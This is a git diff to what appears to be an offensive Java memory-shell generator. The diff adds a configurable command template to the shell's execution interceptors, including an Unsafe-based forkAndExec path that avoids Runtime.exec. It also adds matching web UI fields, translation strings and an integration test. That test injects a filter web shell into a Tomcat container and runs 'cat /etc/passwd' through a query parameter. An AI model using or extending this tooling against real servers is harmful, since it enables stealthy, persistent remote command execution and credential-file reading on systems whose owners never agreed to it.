diff --git a/boot/src/main/java/com/reajason/javaweb/boot/dto/MemShellGenerateRequest.java b/boot/src/main/java/com/reajason/javaweb/boot/dto/MemShellGenerateRequest.java index e93f61f2..56c709c7 100644 --- a/boot/src/main/java/com/reajason/javaweb/boot/dto/MemShellGenerateRequest.java +++ b/boot/src/main/java/com/reajason/javaweb/boot/dto/MemShellGenerateRequest.java @@ -23,6 +23,7 @@ public class MemShellGenerateRequest { private String godzillaPass; private String godzillaKey; private String commandParamName; + private String commandTemplate; private String behinderPass; private String antSwordPass; private String headerName; @@ -50,6 +51,7 @@ public class MemShellGenerateRequest { case Command -> CommandConfig.builder() .shellClassName(shellToolConfig.getShellClassName()) .paramName(shellToolConfig.getCommandParamName()) + .template(shellToolConfig.getCommandTemplate()) .encryptor(CommandConfig.Encryptor.fromString(shellToolConfig.getEncryptor())) .implementationClass(CommandConfig.ImplementationClass.fromString(shellToolConfig.getImplementationClass())) .build(); diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/config/CommandConfig.java b/generator/src/main/java/com/reajason/javaweb/memshell/config/CommandConfig.java index 6cd1091a..9018164b 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/config/CommandConfig.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/config/CommandConfig.java @@ -15,15 +15,30 @@ import org.apache.commons.lang3.StringUtils; @SuperBuilder @ToString public class CommandConfig extends ShellToolConfig { + + /** + * 接收参数的请求头或请求参数名称 + */ @Builder.Default private String paramName = CommonUtil.getRandomString(8); + /** + * 加密器 + */ @Builder.Default private Encryptor encryptor = Encryptor.RAW; + /** + * 实现类 + */ @Builder.Default private ImplementationClass implementationClass = ImplementationClass.RuntimeExec; + /** + * 命令执行模板,例如 sh -c "{command}" 2>&1,使用 {command} 作为占位符 + */ + private String template; + public static abstract class CommandConfigBuilder> extends ShellToolConfig.ShellToolConfigBuilder { public B paramName(String paramName) { diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/generator/command/CommandGenerator.java b/generator/src/main/java/com/reajason/javaweb/memshell/generator/command/CommandGenerator.java index cf654b0b..34f5ec03 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/generator/command/CommandGenerator.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/generator/command/CommandGenerator.java @@ -1,8 +1,6 @@ package com.reajason.javaweb.memshell.generator.command; -import com.reajason.javaweb.buddy.LogRemoveMethodVisitor; import com.reajason.javaweb.buddy.MethodCallReplaceVisitorWrapper; -import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper; import com.reajason.javaweb.memshell.config.CommandConfig; import com.reajason.javaweb.memshell.config.ShellConfig; import com.reajason.javaweb.memshell.generator.ByteBuddyShellGenerator; @@ -44,13 +42,17 @@ public class CommandGenerator extends ByteBuddyShellGenerator { .visit(Advice.to(ShellCommonUtil.Base64DecodeToStringInterceptor.class).on(named("base64DecodeToString"))) .visit(Advice.to(DoubleBase64ParamInterceptor.class).on(named("getParam"))); } - if (CommandConfig.ImplementationClass.RuntimeExec.equals(shellToolConfig.getImplementationClass())) { - builder = builder.visit(Advice.to(RuntimeExecInterceptor.class).on(named("getInputStream"))); + builder = builder.visit(Advice.withCustomMapping() + .bind(TemplateAnnotation.class, shellToolConfig.getTemplate()) + .to(RuntimeExecInterceptor.class) + .on(named("getInputStream"))); } else if (CommandConfig.ImplementationClass.ForkAndExec.equals(shellToolConfig.getImplementationClass())) { - builder = builder.visit(Advice.to(ForkAndExecInterceptor.class).on(named("getInputStream"))); + builder = builder.visit(Advice.withCustomMapping() + .bind(TemplateAnnotation.class, shellToolConfig.getTemplate()) + .to(ForkAndExecInterceptor.class) + .on(named("getInputStream"))); } - return builder; } } \ No newline at end of file diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/generator/command/ForkAndExecInterceptor.java b/generator/src/main/java/com/reajason/javaweb/memshell/generator/command/ForkAndExecInterceptor.java index 7597e7a2..75f6fe99 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/generator/command/ForkAndExecInterceptor.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/generator/command/ForkAndExecInterceptor.java @@ -13,9 +13,27 @@ import java.lang.reflect.Method; */ public class ForkAndExecInterceptor { @Advice.OnMethodExit - public static void enter(@Advice.Argument(value = 0) String cmd, @Advice.Return(readOnly = false) InputStream returnValue) throws IOException { + public static void enter(@Advice.Argument(value = 0) String cmd, + @Advice.Return(readOnly = false) InputStream returnValue, + @TemplateAnnotation String template + ) throws IOException { try { - String[] strs = cmd.split("\\s+"); + String[] cmdarray = null; + String t = template; + if (t == null) { + cmdarray = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd}; + } else { + if (t.contains("\"{command}\"")) { + String[] split = t.split("\\s+"); + for (int i = 0; i < split.length; i++) { + split[i] = split[i].replace("\"{command}\"", cmd); + } + cmdarray = split; + } else { + String cmdline = t.replace("{command}", cmd); + cmdarray = cmdline.split("\\s+"); + } + } Class unsafeClass = Class.forName("sun.misc.Unsafe"); java.lang.reflect.Field unsafeField = unsafeClass.getDeclaredField("theUnsafe"); unsafeField.setAccessible(true); @@ -30,11 +48,11 @@ public class ForkAndExecInterceptor { } Object processObject = unsafeClass.getMethod("allocateInstance", Class.class).invoke(unsafe, processClass); - byte[][] args = new byte[strs.length - 1][]; + byte[][] args = new byte[cmdarray.length - 1][]; int size = args.length; for (int i = 0; i < args.length; i++) { - args[i] = strs[i + 1].getBytes(); + args[i] = cmdarray[i + 1].getBytes(); size += args[i].length; } @@ -48,7 +66,7 @@ public class ForkAndExecInterceptor { int[] envc = new int[1]; int[] std_fds = new int[]{-1, -1, -1}; - byte[] bytes = strs[0].getBytes(); + byte[] bytes = cmdarray[0].getBytes(); byte[] result = new byte[bytes.length + 1]; System.arraycopy(bytes, 0, result, 0, diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/generator/command/RuntimeExecInterceptor.java b/generator/src/main/java/com/reajason/javaweb/memshell/generator/command/RuntimeExecInterceptor.java index 5a36f7ac..de99ec43 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/generator/command/RuntimeExecInterceptor.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/generator/command/RuntimeExecInterceptor.java @@ -1,6 +1,7 @@ package com.reajason.javaweb.memshell.generator.command; import net.bytebuddy.asm.Advice; +import org.apache.commons.io.IOUtils; import java.io.IOException; import java.io.InputStream; @@ -10,9 +11,28 @@ import java.io.InputStream; * @since 2025/5/25 */ public class RuntimeExecInterceptor { + @Advice.OnMethodExit - public static void enter(@Advice.Argument(value = 0) String cmd, @Advice.Return(readOnly = false) InputStream returnValue) throws IOException { - String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd}; - returnValue = new ProcessBuilder(cmds).redirectErrorStream(true).start().getInputStream(); + public static void enter(@Advice.Argument(value = 0) String cmd, + @Advice.Return(readOnly = false) InputStream returnValue, + @TemplateAnnotation String template + ) throws IOException { + String[] cmdarray = null; + String t = template; + if (t == null) { + cmdarray = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd}; + } else { + if (t.contains("\"{command}\"")) { + String[] split = t.split("\\s+"); + for (int i = 0; i < split.length; i++) { + split[i] = split[i].replace("\"{command}\"", cmd); + } + cmdarray = split; + } else { + String cmdline = t.replace("{command}", cmd); + cmdarray = cmdline.split("\\s+"); + } + } + returnValue = new ProcessBuilder(cmdarray).redirectErrorStream(true).start().getInputStream(); } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/generator/command/TemplateAnnotation.java b/generator/src/main/java/com/reajason/javaweb/memshell/generator/command/TemplateAnnotation.java new file mode 100644 index 00000000..e3bd27ba --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memshell/generator/command/TemplateAnnotation.java @@ -0,0 +1,8 @@ +package com.reajason.javaweb.memshell.generator.command; + +import java.lang.annotation.Retention; +import java.lang.annotation.RetentionPolicy; + +@Retention(RetentionPolicy.RUNTIME) +public @interface TemplateAnnotation { +} \ No newline at end of file diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat8CommandEncryptorContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat8CommandEncryptorContainerTest.java index f14f21bd..1eade007 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat8CommandEncryptorContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat8CommandEncryptorContainerTest.java @@ -8,26 +8,34 @@ import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.memshell.config.CommandConfig; import com.reajason.javaweb.memshell.config.ShellToolConfig; import com.reajason.javaweb.packer.Packers; +import lombok.SneakyThrows; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; +import okhttp3.HttpUrl; +import okhttp3.OkHttpClient; +import okhttp3.Request; +import okhttp3.Response; +import org.apache.commons.lang3.RandomStringUtils; +import org.apache.commons.lang3.tuple.Pair; import org.junit.jupiter.api.AfterAll; import org.junit.jupiter.params.ParameterizedTest; import org.junit.jupiter.params.provider.Arguments; import org.junit.jupiter.params.provider.MethodSource; +import org.junit.jupiter.params.provider.ValueSource; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.wait.strategy.Wait; import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Testcontainers; -import org.apache.commons.lang3.RandomStringUtils; -import org.apache.commons.lang3.tuple.Pair; import java.util.Base64; +import java.util.Objects; import java.util.stream.Stream; import static com.reajason.javaweb.integration.ContainerTool.getUrl; import static com.reajason.javaweb.integration.ContainerTool.warFile; import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; import static org.hamcrest.MatcherAssert.assertThat; +import static org.junit.jupiter.api.Assertions.assertTrue; import static org.junit.jupiter.params.provider.Arguments.arguments; /** @@ -55,6 +63,44 @@ public class Tomcat8CommandEncryptorContainerTest { ); } + @ParameterizedTest + @SneakyThrows + @ValueSource(strings = { + "/bin/bash -c \"{command}\" 2>&1", + "sh -c \"{command}\" 2>&1", + "{command}" + }) + void testTemplate(String template) { + String url = getUrl(container); + String shellTool = ShellTool.Command; + String shellType = ShellType.FILTER; + Packers packer = Packers.BigInteger; + Pair urls = ShellAssertion.getUrls(url, shellType, shellTool, packer); + String shellUrl = urls.getLeft(); + String urlPattern = urls.getRight(); + String uniqueName = shellTool + RandomStringUtils.randomAlphabetic(5) + shellType + RandomStringUtils.randomAlphabetic(5) + packer.name(); + ShellToolConfig shellToolConfig = CommandConfig.builder() + .paramName(uniqueName) + .template(template) + .build(); + MemShellResult generateResult = ShellAssertion.generate(urlPattern, Server.Tomcat, null, shellType, shellTool, Opcodes.V1_8, shellToolConfig, packer); + ShellAssertion.packerResultAndInject(generateResult, url, shellTool, shellType, packer, container); + OkHttpClient okHttpClient = new OkHttpClient(); + HttpUrl httpUrl = Objects.requireNonNull(HttpUrl.parse(shellUrl)) + .newBuilder() + .addQueryParameter(uniqueName, "cat /etc/passwd") + .build(); + Request request = new Request.Builder() + .url(httpUrl) + .get().build(); + + try (Response response = okHttpClient.newCall(request).execute()) { + String res = response.body().string(); + System.out.println(res.trim()); + assertTrue(res.contains("root:x:0:0:root:/root:/bin/bash")); + } + } + @AfterAll static void tearDown() { String logs = container.getLogs(); diff --git a/web/app/components/memshell/results/jar-result.tsx b/web/app/components/memshell/results/jar-result.tsx index 90da2a5f..f5a81970 100644 --- a/web/app/components/memshell/results/jar-result.tsx +++ b/web/app/components/memshell/results/jar-result.tsx @@ -1,6 +1,5 @@ import { ScrollTextIcon } from "lucide-react"; import { useTranslation } from "react-i18next"; -import CodeViewer from "@/components/code-viewer"; import { Button } from "@/components/ui/button"; import { Card, CardContent, CardHeader, CardTitle } from "@/components/ui/card"; import { Separator } from "@/components/ui/separator"; @@ -17,7 +16,6 @@ export function JarResult({ generateResult?: MemShellResult; }>) { const { t } = useTranslation(); - const isPureJar = packMethod === "Jar"; return ( diff --git a/web/app/components/memshell/tabs/classname-field.tsx b/web/app/components/memshell/tabs/classname-field.tsx index 9651405f..0be5c3bc 100644 --- a/web/app/components/memshell/tabs/classname-field.tsx +++ b/web/app/components/memshell/tabs/classname-field.tsx @@ -62,7 +62,7 @@ export function OptionalClassFormField({ return (
-
+
{t("mainConfig.randomClassName")}
diff --git a/web/app/components/memshell/tabs/command-tab.tsx b/web/app/components/memshell/tabs/command-tab.tsx index f3b39491..59b98aba 100644 --- a/web/app/components/memshell/tabs/command-tab.tsx +++ b/web/app/components/memshell/tabs/command-tab.tsx @@ -1,7 +1,14 @@ import { useQuery } from "@tanstack/react-query"; +import { ChevronDown, ChevronRight } from "lucide-react"; +import { useState } from "react"; import { FormProvider, type UseFormReturn } from "react-hook-form"; import { useTranslation } from "react-i18next"; import { Card, CardContent } from "@/components/ui/card"; +import { + Collapsible, + CollapsibleContent, + CollapsibleTrigger, +} from "@/components/ui/collapsible"; import { FormControl, FormField, @@ -31,6 +38,7 @@ export function CommandTabContent({ shellTypes: Array; }>) { const { t } = useTranslation(["memshell", "common"]); + const [isAdvancedOpen, setIsAdvancedOpen] = useState(false); const { data } = useQuery<{ encryptors: Array; implementationClasses: Array; @@ -68,68 +76,102 @@ export function CommandTabContent({ )} /> -
- ( - - {t("common:encryptor")} - - + + + + {isAdvancedOpen ? ( + + ) : ( + )} - /> - ( - - - {t("common:implementationClass")} - - + + + + + + + {data?.encryptors?.map((v) => ( + + {v} + + ))} + + + + )} + /> + ( + + + {t("common:implementationClass")} + + + + )} + /> +
+ ( + + + {t("common:commandTemplate")} {t("common:optional")} + - - - + - - {data?.implementationClasses?.map((v) => ( - - {v} - - ))} - - - - )} - /> -
+

+ {t("common:commandTemplate.description")} +

+ + )} + /> + + + diff --git a/web/app/components/ui/collapsible.tsx b/web/app/components/ui/collapsible.tsx new file mode 100644 index 00000000..877d0fee --- /dev/null +++ b/web/app/components/ui/collapsible.tsx @@ -0,0 +1,9 @@ +import { Collapsible as CollapsiblePrimitive } from "radix-ui"; + +const Collapsible = CollapsiblePrimitive.Root; + +const CollapsibleTrigger = CollapsiblePrimitive.CollapsibleTrigger; + +const CollapsibleContent = CollapsiblePrimitive.CollapsibleContent; + +export { Collapsible, CollapsibleTrigger, CollapsibleContent }; diff --git a/web/app/i18n/common/en.json b/web/app/i18n/common/en.json index b2c49f19..7027c1be 100644 --- a/web/app/i18n/common/en.json +++ b/web/app/i18n/common/en.json @@ -37,5 +37,9 @@ "version.updateAvailableTooltip": "Click to Open Github Release Page ( v{{currentVersion}} -> v{{latestVersion}})", "shellTool": "Shell Tool", "lambdaSuffix": "LambdaSuffix", - "probe": "Probe Mode" + "probe": "Probe Mode", + "advancedConfig": "Advanced Config", + "commandTemplate": "Command Template", + "commandTemplate.placeholder": "e.g., sh -c \"{command}\" 2>&1", + "commandTemplate.description": "Use {command} as placeholder" } diff --git a/web/app/i18n/common/zh-CN.json b/web/app/i18n/common/zh-CN.json index 152f0b82..29bd39b3 100644 --- a/web/app/i18n/common/zh-CN.json +++ b/web/app/i18n/common/zh-CN.json @@ -37,5 +37,9 @@ "version.updateAvailableTooltip": "点击前往 GitHub Release ( v{{currentVersion}} -> v{{latestVersion}})", "shellTool": "内存马工具", "lambdaSuffix": "Lambda 类名后缀", - "probe": "回显模式" + "probe": "回显模式", + "advancedConfig": "高级配置", + "commandTemplate": "命令模板", + "commandTemplate.placeholder": "例如:sh -c \"{command}\" 2>&1", + "commandTemplate.description": "使用 {command} 作为占位符" } diff --git a/web/app/types/memshell.ts b/web/app/types/memshell.ts index fa121848..67f93d04 100644 --- a/web/app/types/memshell.ts +++ b/web/app/types/memshell.ts @@ -9,7 +9,7 @@ export interface ShellConfig { obfuscate?: boolean; shrink?: boolean; probe?: boolean; - lambdaSuffix?:boolean; + lambdaSuffix?: boolean; } export interface ShellToolConfig { @@ -17,6 +17,7 @@ export interface ShellToolConfig { godzillaPass?: string; godzillaKey?: string; commandParamName?: string; + commandTemplate?: string; behinderPass?: string; antSwordPass?: string; headerName?: string; diff --git a/web/app/types/schema.ts b/web/app/types/schema.ts index e5c875b8..0b155359 100644 --- a/web/app/types/schema.ts +++ b/web/app/types/schema.ts @@ -20,6 +20,7 @@ export const memShellFormSchema = yup.object({ behinderPass: yup.string().optional(), antSwordPass: yup.string().optional(), commandParamName: yup.string().optional(), + commandTemplate: yup.string().optional(), implementationClass: yup.string().optional(), headerName: yup.string().optional(), headerValue: yup.string().optional(), diff --git a/web/app/utils/transformer.ts b/web/app/utils/transformer.ts index 503ad0e8..a4d7835f 100644 --- a/web/app/utils/transformer.ts +++ b/web/app/utils/transformer.ts @@ -20,13 +20,14 @@ export function transformToPostData(formValue: MemShellFormSchema) { byPassJavaModule: formValue.byPassJavaModule, shrink: formValue.shrink, lambdaSuffix: formValue.lambdaSuffix, - probe: formValue.probe + probe: formValue.probe, }; const shellToolConfig: ShellToolConfig = { shellClassName: formValue.shellClassName, godzillaPass: formValue.godzillaPass, godzillaKey: formValue.godzillaKey, commandParamName: formValue.commandParamName, + commandTemplate: formValue.commandTemplate, behinderPass: formValue.behinderPass, antSwordPass: formValue.antSwordPass, headerName: formValue.headerName,